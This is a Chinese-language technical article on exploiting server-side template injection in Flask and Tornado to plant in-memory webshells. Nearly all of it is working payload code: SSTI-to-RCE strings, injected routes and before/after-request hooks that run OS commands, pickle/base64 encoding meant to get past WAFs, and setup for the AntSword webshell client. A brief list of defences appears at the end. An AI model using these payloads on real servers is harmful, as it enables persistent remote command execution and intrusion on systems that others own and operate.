Flask和Tornado的SSTI内存马注入技术研究
字数 1253 2025-08-22 12:23:41
Flask和Tornado的SSTI内存马注入技术研究
0x00 前言
本文详细研究Python SSTI(Server-Side Template Injection)漏洞在Flask和Tornado框架中的利用技术,特别是如何注入内存马(内存Webshell)并进行图形化管理。通过分析实际攻击案例,探索了多种绕过WAF的方法,并实现了与中国蚁剑的集成。
0x01 Flask SSTI基础研究
漏洞环境搭建
Flask SSTI漏洞通常出现在直接将用户输入拼接到模板中的情况:
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
基本利用方法
通过以下payload可以判断存在SSTI:
{{7*7}} # 返回49则存在漏洞
关键Python魔术方法:
__class__- 当前类__mro__- 所有父类__subclasses__()- 所有子类__globals__- 全局变量__builtins__- Python内置标识符__import__- 导入模块
RCE Payload示例:
{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
0x02 Flask内存马注入技术
基本内存马原理
内存马的核心思想是动态添加路由,在路由中执行恶意代码。Flask中可以使用app.add_url_rule()方法。
初始Payload尝试
网上常见但可能失效的Payload:
url_for.__globals__['__builtins__']['eval'](
"app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read(), {'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'], 'app':url_for.__globals__['current_app']})"
)
有效Payload开发
通过flask.globals访问上下文变量:
{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda :__import__('os').popen(__import__('flask').globals.request.args.get('abking')).read())") }}
访问/abking123?abking=whoami即可执行命令。
新版Flask绕过技术
新版Flask在setupmethod装饰器中增加了校验函数,导致add_url_rule()失效。解决方案是使用before_request或after_request。
before_request Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())\")==None else None)") }}
after_request Payload:
{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].__dict__['app'].after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if __import__('sys').modules['__main__'].__dict__['request'].args.get('abking') and exec(\"global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('sys').modules['__main__'].__dict__['request'].args.get('abking')).read())\")==None else resp)") }}
0x03 加密传输技术
使用pickle.loads()进行反序列化实现加密传输:
import pickle
import base64
code = """def f():
return __import__('os').popen('whoami').read()
f()"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
pickle.loads(base64.b64decode(base64_class))
SSTI Payload中使用:
{{ ''.__class__.__mro__[-1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('pickle').loads(__import__('base64').b64decode('BASE64_CODE_HERE'))") }}
0x04 中国蚁剑集成
低版本Flask内存马生成
import pickle
import base64
code = """def f():
return __import__('flask').globals.current_app.add_url_rule('/abking123', 'abking123', lambda: __import__('os').popen(__import__('flask').globals.request.form['abking']).read(), methods=['POST'])
f()"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
通杀版本Flask内存马生成
import pickle
import base64
code = """def f():
return __import__('flask').globals.current_app.before_request_funcs.setdefault(None, []).append(lambda: CmdResp if __import__('flask').globals.request.form.get('abking') and exec("global CmdResp;CmdResp=__import__('flask').make_response(__import__('os').popen(__import__('flask').globals.request.form.get('abking')).read())")==None else None)
f()"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
蚁剑连接配置
- URL:
http://target/abking123 - 密码:
abking - 方法: POST
0x05 Tornado内存马注入
基础SSTI环境
import tornado.ioloop
import tornado.web
class IndexHandler(tornado.web.RequestHandler):
def get(self):
tornado.web.RequestHandler._template_loaders = {} # 清空模板引擎
with open('index.html', 'w') as (f):
f.write(self.get_argument('name'))
self.render('index.html')
app = tornado.web.Application([(r"/", IndexHandler)],)
app.listen(5000, address="127.0.0.1")
tornado.ioloop.IOLoop.current().start()
RCE Payload
{{handler.application.settings['autoreload']=False;handler.application.settings['compiled_template_cache']=False;handler._template_loaders={};handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}
蚁剑兼容Payload
{{handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])}}
加密版本
import pickle
import base64
code = """def f():
return handler.application.add_handlers(".*$", [(r"/abking123", type("x", (__import__("tornado").web.RequestHandler,), {"post": lambda x: x.write(str(__import__('os').popen(x.get_argument("abking")).read()))}) )])
f()"""
class Exp:
def __reduce__(self):
return __builtins__.exec, (code,)
base64_class = base64.b64encode(pickle.dumps(Exp()))
print(base64_class)
0x06 防御建议
- 避免直接将用户输入拼接到模板中
- 使用模板引擎的安全配置,如Jinja2的
autoescape - 及时更新框架版本
- 部署WAF规则检测SSTI特征
- 监控异常路由添加行为
- 限制pickle反序列化操作
0x07 总结
本文详细研究了Flask和Tornado框架中的SSTI漏洞利用技术,特别是内存马注入方法。通过多种技术手段实现了:
- 基础SSTI到RCE的利用
- 内存马的注入与持久化
- 新版Flask的绕过技术
- 加密传输绕过WAF
- 与中国蚁剑的集成
这些技术对于红队渗透测试和蓝队防御都具有重要参考价值。